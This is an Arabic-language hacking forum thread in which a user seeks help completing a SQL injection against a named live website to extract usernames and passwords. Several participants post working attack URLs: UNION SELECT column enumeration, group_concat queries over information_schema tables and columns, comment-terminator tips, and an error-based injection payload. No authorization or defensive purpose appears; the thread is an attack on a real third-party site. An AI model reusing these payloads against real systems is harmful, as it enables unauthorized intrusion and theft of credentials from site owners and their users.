مشكل في حقن موقع .. ممكن مساعدة

[XAyoub]

السلام عليكم اخوانــي ،المرججو أنكم تساعدوني في مشكلي هو بسيط جدا
1. اخترت هذا الموقع : http://www.dracoders.com/games.php?id=7
2. فحصته اتضح أنه مصاب
3. اتضح أن فيه 5 أعمدة
4. عملت هذا http://www.dracoders.com/games.php?id=-7 UNION SELECT 1,2,3,4,5
و اتضح أن الاعمدة المصابة : 3,4,5
5. وجدت ان اصدار القاعدة 5
6. ثم عملت هذا الرابط :
http://www.dracoders.com/games.php?id=-7%20UNION%20SELECT%201,2,group_concat%28table_name %29,4,5+from+information_schema.tables+where+table _schema=database%28%29
خرجلي كل هذا و لم أعرف أي واحد فيهم
شكيت في FKP
7. ثم عملت هذا الرابط
http://www.dracoders.com/games.php?id=-7%20UNION%20SELECT%201,2,group_concat%28column_nam e%29,4,5+from+information_schema.columns+where+tab le_schema=database%28%29
فلم أعرف الـ Username + Password
في الكلمات الاتية ،

يعني عندمــــا انتقل للخطوة الاخير لكي يخرج لي الباس ، يعطيني خطأ
ممكن مساعدة
:yes::yes:

[bleu moon]

http://www.vbspiders.com/vb/t20088.html

كل مرة بدك تحقن استعن بهذا الموضوع

[XAyoub]

أوكي جاري اخ نور الديــــــن ،

[abdellatef]

ساعيد الحقن وارجع لك الاستغلال الاخير موضوعك بسيط كبرته اكتب فقط صعب علي حقن هدا فقط

[k4$p3r-MA]

على فكرة الشرطتين في الاخير احدفهما
و ابدا على بركة الله
http://www.dracoders.com/games.php?i...LECT+1,2,3,4,5
و استنتح ان هده الشرطتين ليستا دائما ملزمتين
و يمكن استبدالهما ب /* لكون بعض المواقع لا تنفع معها ال --
:love:

[aircrack -ng]

هذا النوع كيري مش سكيول

http://www.dracoders.com/games.php?id=7 and(select 1 from(select count(*),concat((select (select 
concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from 
information_schema.tables group by x)a) and 1=1

قربت دورتي تفتح وراح تفهم كل شيء بالحقن
يومين بس

[bleu moon]

اقتباس المشاركة الأصلية كتبت بواسطة عبد الصمد هذا النوع كيري مش سكيول http://www.dracoders.com/games.php?id=7 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 قربت دورتي تفتح وراح تفهم كل شيء بالحقن يومين بس

انا اول ماحد رح يتفرج فيها :yipi:

[aircrack -ng]

اقتباس المشاركة الأصلية كتبت بواسطة nor15din انا اول ماحد رح يتفرج فيها :yipi:

انا قلتلك انا مرشح وزير من هلا :rofl:

[ChucK NoRRis]

اقتباس المشاركة الأصلية كتبت بواسطة عبد الصمد قربت دورتي تفتح وراح تفهم كل شيء بالحقن يومين بس

محجـــــــــــــوز

[aircrack -ng]

اقتباس المشاركة الأصلية كتبت بواسطة ChucK NoRRis محجـــــــــــــوز :yipi:

الدورة راح تكون مفتوحة للجميع
دعواتكم بس

[ChucK NoRRis]

اقتباس المشاركة الأصلية كتبت بواسطة عبد الصمد الدورة راح تكون مفتوحة للجميع دعواتكم بس

الله يوفقك وان شاء الله تكون دورة ممتازة
يستفاد منها الجميع

[k4$p3r-MA]

اقتباس المشاركة الأصلية كتبت بواسطة عبد الصمد هذا النوع كيري مش سكيول http://www.dracoders.com/games.php?id=7 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 قربت دورتي تفتح وراح تفهم كل شيء بالحقن يومين بس

مستنينك خيو :love:

[sh-jaf]

أخي ممكن أشترك فيها مع العلم إني جديد و مشاركاتي بعدها قليلة الله يرضى عنك أخي غبد الصمد
بتمنى تقولولي ممكن
و بالنسبة للموقع كأنو ما في عامود pass جربت هذه طلع ال column
http://www.dracoders.com/games.php?i...schema.columns

[aircrack -ng]

اقتباس المشاركة الأصلية كتبت بواسطة sh-jaf أخي ممكن أشترك فيها مع العلم إني جديد و مشاركاتي بعدها قليلة الله يرضى عنك أخي غبد الصمد بتمنى تقولولي ممكن و بالنسبة للموقع كأنو ما في عامود pass جربت هذه طلع ال column http://www.dracoders.com/games.php?id=-7+UNION+SELECT+1,2,concat(table_name,0x3e,column_n ame,0x3e,table_schema),4,5+from+information_schema .columns

الدورة مفتوحة للجميع دون استثناء
مفتوحة لكل طالب علم

[XAyoub]

أوكي أخي ،